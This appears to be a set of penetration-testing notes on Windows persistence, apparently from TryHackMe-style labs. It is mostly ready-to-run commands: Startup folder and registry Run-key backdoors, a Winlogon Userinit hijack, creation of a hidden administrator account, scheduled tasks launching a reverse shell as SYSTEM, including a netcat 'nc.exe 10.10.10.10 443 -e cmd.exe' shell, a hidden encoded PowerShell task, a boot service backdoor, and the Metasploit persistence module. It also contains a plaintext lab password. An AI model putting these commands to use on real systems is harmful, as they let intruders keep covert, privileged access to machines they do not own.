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🔨Persistence Notes

Low Privilege Persistence

Startup Folder Persistence

The following assumes the following:

  • Privilege escalation is not of concern

  • You have access to at least to a low privilege user account.

Dropping shell scripts / binaries into the following folder will execute them on user login:

C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Registry Persistence

Providing the current working user has permission to create registry keys under 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' . A backdoor executable / script can be created to run on user logon.

The example below assumes a Backdoor executable is currently stored in "C:\Users\%username%\AppData\Roaming\"

CMD:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\%username%\AppData\Roaming\backdoor.exe"

Privileged Persistence

RDP Temp

xfreerdp /v:10.10.229.68 /u:Administrator /p:tryhackme123! +clipboard /dynamic-resolution /drive:/home/kali,share

User Creation

Persistence may exist through user accounts. Privileged accounts are able to create new users on the target system.

net user AkimboViper Password123 /add
net localgroup administrators /add AkimboViper

Registry Persistence

Again, the registry can be used to maintain persistence. The command below will set a binary to execute when any user logs into to the system.

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\Administrator\AppData\Roaming\backdoor.exe" /f

Scheduled Tasks

The command below will create a sheduled task that every minute will execute 'ReverseShell.exe'. This is set to run as the SYSTEM account.

# Reverse Shell
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr C:\ReverseShell.exe /ru "SYSTEM"

# Netcat
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\Users\User\Downloads/nc.exe 10.10.10.10 443 -e cmd.exe'

PowerShell with custom payload

function PersistentTask {

	$TaskName = "Persistence"
	$Trigger = New-ScheduledTaskTrigger `
	-Daily `
	-At 09:00
	
	$Action = New-ScheduledTaskAction `
	-Execute "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" `
	-Argument "-Sta -Nop -Window Hidden -EncodedCommand <EncodedCommand>" `
	-WorkingDirectory "C:\Windows\System32"

	Register-ScheduledTask `
	-TaskName $TaskName `
	-Trigger $Trigger `
	-Action $Action `
	-Force

}

PersistentTask

Services

PowerShell can be leveraged to create a new Service that, on boot will execute a defined binary / script.

New-Service -Name "<SERVICE_NAME>" -BinaryPathName "<PATH_TO_BINARY>" -Description "<SERVICE_DESCRIPTION>" -StartupType "Boot"
New-Service -Name "Backdoor" -BinaryPathName "C:\Users\Administrator\AppData\Roaming\backdoor.exe" -StartupType "Boot"

Metasploit

use exploit/windows/local/persistence

Description:
  This module will install a payload that is executed during boot. It 
  will be executed either at user logon or system startup via the 
  registry value in "CurrentVersion\Run" (depending on privilege and 
  selected method).

Configured options shown below. The STARTUP value can be changed to SYSTEM from USER if correct permissions are in place to perform the action.

Successful execution:

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